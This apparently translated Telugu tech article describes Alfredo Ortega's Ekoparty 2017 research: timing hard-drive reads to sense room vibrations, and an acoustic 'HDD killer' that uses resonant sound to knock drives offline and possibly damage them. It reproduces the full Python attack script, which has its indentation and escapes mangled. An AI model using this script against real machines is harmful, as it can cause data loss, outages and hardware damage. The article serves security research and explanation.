బ్యూనస్ ఎయిర్స్‌లో జరిగిన ఎకోపార్టీ 2017 కంప్యూటర్ సెక్యూరిటీ కాన్ఫరెన్స్‌లో, అర్జెంటీనా హ్యాకర్ ఆల్ఫ్రెడో ఒర్టెగా చాలా ఆసక్తికరమైన అభివృద్ధిని చూపించాడు - మైక్రోఫోన్‌ని ఉపయోగించకుండా ప్రాంగణంలోని రహస్య వైర్‌టాపింగ్ వ్యవస్థ. ధ్వని !
HDD ప్రధానంగా అధిక-తీవ్రత తక్కువ-పౌనఃపున్య శబ్దాలు, అడుగుజాడలు మరియు ఇతర వైబ్రేషన్‌లను గ్రహిస్తుంది. శాస్త్రవేత్తలు అయినప్పటికీ మానవ ప్రసంగం ఇంకా గుర్తించబడలేదు (తక్కువ-ఫ్రీక్వెన్సీ వైబ్రేషన్ల ద్వారా ప్రసంగ గుర్తింపు, ఉదాహరణకు, గైరోస్కోప్ లేదా HDD నుండి రికార్డ్ చేయబడతాయి).
ధ్వని అనేది గాలి లేదా మరొక మాధ్యమం యొక్క కంపనం. ఒక వ్యక్తి చెవిపోటు ద్వారా వాటిని గ్రహిస్తాడు, ఇది లోపలి చెవికి కంపనాలను ప్రసారం చేస్తుంది. మైక్రోఫోన్ సుమారుగా చెవిలాగా రూపొందించబడింది - ఇక్కడ కూడా, వైబ్రేషన్‌లు ఒక సన్నని పొర ద్వారా రికార్డ్ చేయబడతాయి, ఇది విద్యుత్ ప్రేరణను ఉత్తేజపరుస్తుంది. హార్డ్ డ్రైవ్, వాస్తవానికి, పరిసర గాలిలో హెచ్చుతగ్గుల కారణంగా మైక్రోస్కోపిక్ వైబ్రేషన్లకు కూడా లోబడి ఉంటుంది. ఇది HDDల యొక్క సాంకేతిక లక్షణాల నుండి కూడా తెలుసు: తయారీదారులు సాధారణంగా గరిష్టంగా అనుమతించదగిన కంపన స్థాయిని సూచిస్తారు మరియు హార్డ్ డ్రైవ్ తరచుగా రబ్బరు లేదా ఇతర ఇన్సులేటింగ్ మెటీరియల్‌తో తయారు చేయబడిన కంపన-ప్రూఫ్ కంటైనర్‌లో ఉంచడానికి ప్రయత్నిస్తుంది. దీని నుండి HDDని ఉపయోగించి శబ్దాలను రికార్డ్ చేయవచ్చని నిర్ధారించడం సులభం. ఎలా అని గుర్తించడమే మిగిలి ఉంది.
ఆల్ఫ్రెడో ఒర్టెగా ఒక సైడ్-ఛానల్ దాడి యొక్క ప్రత్యేకమైన సంస్కరణను ప్రతిపాదించాడు, అవి టైమ్ అటాక్. ఇచ్చిన ఇన్‌పుట్ డేటా ఆధారంగా పరికరంలో వేర్వేరు సమయాల్లో వేర్వేరు ఆపరేషన్‌లు జరుగుతాయనే ఊహ ఆధారంగా ఈ దాడి జరిగింది. ఈ సందర్భంలో, “ఇన్‌పుట్ డేటా” అనేది రీడింగ్ హెడ్ మరియు HDD ప్లాటర్ యొక్క కంపనాలు, ఇది పర్యావరణం యొక్క కంపనాలతో, అంటే ధ్వనితో పరస్పర సంబంధం కలిగి ఉంటుంది. అందువలన, గణన సమయాన్ని కొలవడం మరియు డేటా యొక్క గణాంక విశ్లేషణ చేయడం ద్వారా, తల/ప్లాటర్ యొక్క కంపనాలను మరియు అందువల్ల మాధ్యమం యొక్క ప్రకంపనలను కొలవడం సాధ్యమవుతుంది. డేటాను చదవడంలో ఎక్కువ ఆలస్యం, HDD వైబ్రేషన్‌లు బలంగా ఉంటాయి మరియు అందువల్ల, ధ్వని బిగ్గరగా ఉంటుంది.
హార్డ్ డ్రైవ్ వైబ్రేషన్‌ను ఎలా కొలవాలి? చాలా సులభం: సిస్టమ్ కాల్‌ని అమలు చేయండి read () - మరియు పూర్తి చేయడానికి పట్టే సమయాన్ని రికార్డ్ చేయండి. ఆధునిక ఆపరేటింగ్ సిస్టమ్‌లు నానోసెకండ్ ఖచ్చితత్వంతో సిస్టమ్ కాల్‌ల సమయాన్ని చదవడానికి మిమ్మల్ని అనుమతిస్తాయి.
ఒక సెక్టార్ నుండి సమాచారాన్ని చదివే వేగం హెడ్ మరియు ప్లాటర్ యొక్క స్థానంపై ఆధారపడి ఉంటుంది, ఇది HDD కేసు యొక్క వైబ్రేషన్‌లతో సహసంబంధం కలిగి ఉంటుంది. అంతే.
సాధారణ Kscope యుటిలిటీని ఉపయోగించి గణాంక విశ్లేషణ నిర్వహించబడుతుంది. వారు చెప్పినట్లు, తెలివిగల ప్రతిదీ సులభం.
Kscope యుటిలిటీ (stat() syscal)
Kscope అనేది సిస్టమ్ కాల్ ఎగ్జిక్యూషన్ సమయాలలో చిన్న తేడాలను విజువలైజ్ చేయడానికి ఒక చిన్న యుటిలిటీ. మూలం.
ప్రత్యేక రిపోజిటరీలో హార్డ్ డ్రైవ్‌పై సమయ దాడి కోసం కాన్ఫిగర్ చేయబడిన యుటిలిటీ యొక్క సంస్కరణ ఉంది, అంటే సిస్టమ్ కాల్‌ను విశ్లేషించడానికి కాన్ఫిగర్ చేయబడింది read ().
HDDని ఉపయోగించి సౌండ్ రికార్డింగ్ యొక్క ప్రదర్శన, Kscope యుటిలిటీ యొక్క ఆపరేషన్
వాస్తవానికి, ప్రసంగాన్ని ఈ విధంగా అర్థం చేసుకోలేము, కానీ HDD వైబ్రేషన్ సెన్సార్‌గా చాలా అనుకూలంగా ఉంటుంది. ఉదాహరణకు, గట్టి బూట్లు లేదా చెప్పులు లేని వ్యక్తి కంప్యూటర్ ఉన్న గదిలోకి ప్రవేశించినట్లయితే మీరు నమోదు చేసుకోవచ్చు (బహుశా, దాడి చేసే వ్యక్తి మృదువైన స్నీకర్లను ధరించి ఉంటే లేదా నేలపై మందపాటి కార్పెట్ ఉంటే, HDD వైబ్రేషన్‌లను నమోదు చేయదు - ఇది తనిఖీ చేయదగినది). కంప్యూటర్ విరిగిన గాజు లేదా ఇతర సంఘటనలను బలమైన ధ్వని తీవ్రతతో నమోదు చేయగలదు. అంటే, హార్డ్ డ్రైవ్ ఒక రకమైన అనధికార చొరబాటు గుర్తింపు వ్యవస్థగా ఉపయోగపడుతుంది.
HDD కిల్లర్
మార్గం ద్వారా, హార్డ్ డ్రైవ్‌లను డిసేబుల్ చేయడానికి ఇదే సాంకేతికతను ఉపయోగించవచ్చు. ఇక్కడ మాత్రమే మేము HDD నుండి డోలనాలను తీసివేయము, కానీ దీనికి విరుద్ధంగా, మేము HDDకి అందించబడే డోలనాలను ఉత్పత్తి చేస్తాము. మీరు HDD ఫ్రీక్వెన్సీతో ప్రతిధ్వనించే ఫ్రీక్వెన్సీలో స్పీకర్ నుండి ధ్వనిని ప్లే చేస్తే, సిస్టమ్ త్వరలో I/O లోపంతో పరికరాన్ని ఆఫ్ చేస్తుంది (Linux కెర్నల్ 120 సెకన్ల తర్వాత HDDని పూర్తిగా ఆఫ్ చేస్తుంది). హార్డ్ డ్రైవ్ కూడా కోలుకోలేని నష్టానికి గురవుతుంది.
ఎడిఫైయర్ r120u USB స్పీకర్ యొక్క స్పీకర్ ద్వారా ప్రతిధ్వని ఫ్రీక్వెన్సీలో ధ్వనిని అందించిన 19 సెకన్ల తర్వాత Linux కెర్నల్ హార్డ్ డ్రైవ్‌ను ఆపివేసింది. స్పీకర్ పవర్‌లో నాల్గవ వంతు (100 mW కంటే తక్కువ) వద్ద ఆన్ చేయబడింది మరియు వైబ్రేషన్‌లను మెరుగుపరచడానికి టేబుల్‌ను లక్ష్యంగా చేసుకుని HDD నుండి 20 సెం.మీ దూరంలో ఉంది. నుండి ఫ్రేమ్ HDD కిల్లర్ యొక్క ప్రదర్శనతో
HDD లపై ఇటువంటి "దాడులు" కొన్నిసార్లు రోజువారీ జీవితంలో పూర్తిగా ప్రమాదవశాత్తు జరుగుతాయని ఆసక్తికరంగా ఉంది. ఉదాహరణకు, సెప్టెంబరు 2016లో, ఫైర్ డ్రిల్ తర్వాత 10 గంటల పాటు ING బ్యాంక్ డేటా సెంటర్ కార్యకలాపాలను నిలిపివేయవలసి వచ్చింది. అధిక పీడనం కింద సిలిండర్ల నుండి విడుదలయ్యే జడ వాయువు యొక్క పెద్ద శబ్దం కారణంగా. ధ్వని చాలా బిగ్గరగా ఉంది (130 dB కంటే ఎక్కువ), కానీ మీరు హార్డ్ డ్రైవ్‌లలో కూడా అరవలేరు - ఇది HDDని యాక్సెస్ చేయడంలో ఆలస్యాన్ని పెంచుతుంది.
డేటా సెంటర్‌లో హార్డ్ డ్రైవ్‌ల వద్ద మానవ అరుపుల ప్రదర్శన. జాప్యం కొలత
ప్రతిధ్వనించే ధ్వనిని రూపొందించడానికి, ఆల్ఫ్రెడో ఒర్టెగా అనే పైథాన్ స్క్రిప్ట్‌ను రాశారు ().
ఇది చాలా చిన్నది, కాబట్టి మీరు దీన్ని పూర్తిగా ఇక్కడ ప్రచురించవచ్చు.
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()మూలం: www.habr.com